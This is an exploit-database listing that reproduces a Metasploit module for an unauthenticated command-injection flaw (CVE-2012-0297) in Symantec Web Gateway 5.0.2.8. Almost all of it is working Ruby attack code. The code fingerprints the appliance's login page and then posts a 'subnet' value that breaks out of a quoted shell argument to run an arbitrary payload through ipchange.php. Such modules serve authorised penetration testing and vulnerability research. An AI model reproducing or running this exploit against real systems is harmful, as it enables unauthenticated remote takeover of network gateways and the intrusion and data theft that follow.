Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection

2012-06-12T00:00:00
ID 1337DAY-ID-18580
Type zdt
Reporter metasploit
Modified 2012-06-12T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection",
            'Description'    => %q{
                    This module exploits a command injection vulnerability found in Symantec Web
                Gateway's HTTP service due to the insecure usage of the exec() function. This module
                abuses the spywall/ipchange.php file to execute arbitrary OS commands without
                authentication.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Tenable Network Security', # Vulnerability Discovery
                    'juan vazquez' # Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2012-0297' ],
                    [ 'BID', '53444' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-090' ],
                    [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00\x0d\x0a\x26",
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl',
                        }
                },
            'Platform'       => ['unix'],
            'Arch'           => ARCH_CMD,
            'Targets'        =>
                [
                    ['Symantec Web Gateway 5.0.2.8', {}],
                ],
            'Privileged'     => false,
            'DisclosureDate' => "May 17 2012",
            'DefaultTarget'  => 0))
    end
 
 
    def check
        res = send_request_raw({
            'method' => 'GET',
            'uri'    => '/spywall/login.php'
        })
 
        if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end
    end
 
    def exploit
        uri = target_uri.path
        uri << '/' if uri[-1,1] != '/'
 
        peer = "#{rhost}:#{rport}"
 
        post_data = "subnet="
        post_data << "\";" + payload.raw + ";#"
 
        print_status("#{peer} - Sending Command injection")
        res = send_request_cgi({
            'method' => 'POST',
            'uri'    => "#{uri}spywall/ipchange.php",
            'data'   => post_data
        })
 
        # If the server doesn't return the default redirection, probably
        # something is wrong
        if not res or res.code != 302 or res.headers['Location'] !~ /SW\/admin_config.php/
            print_error("#{peer} - Probably command not executed, aborting!")
            return
        end
 
    end
 
 
end



#  0day.today [2018-04-14]  #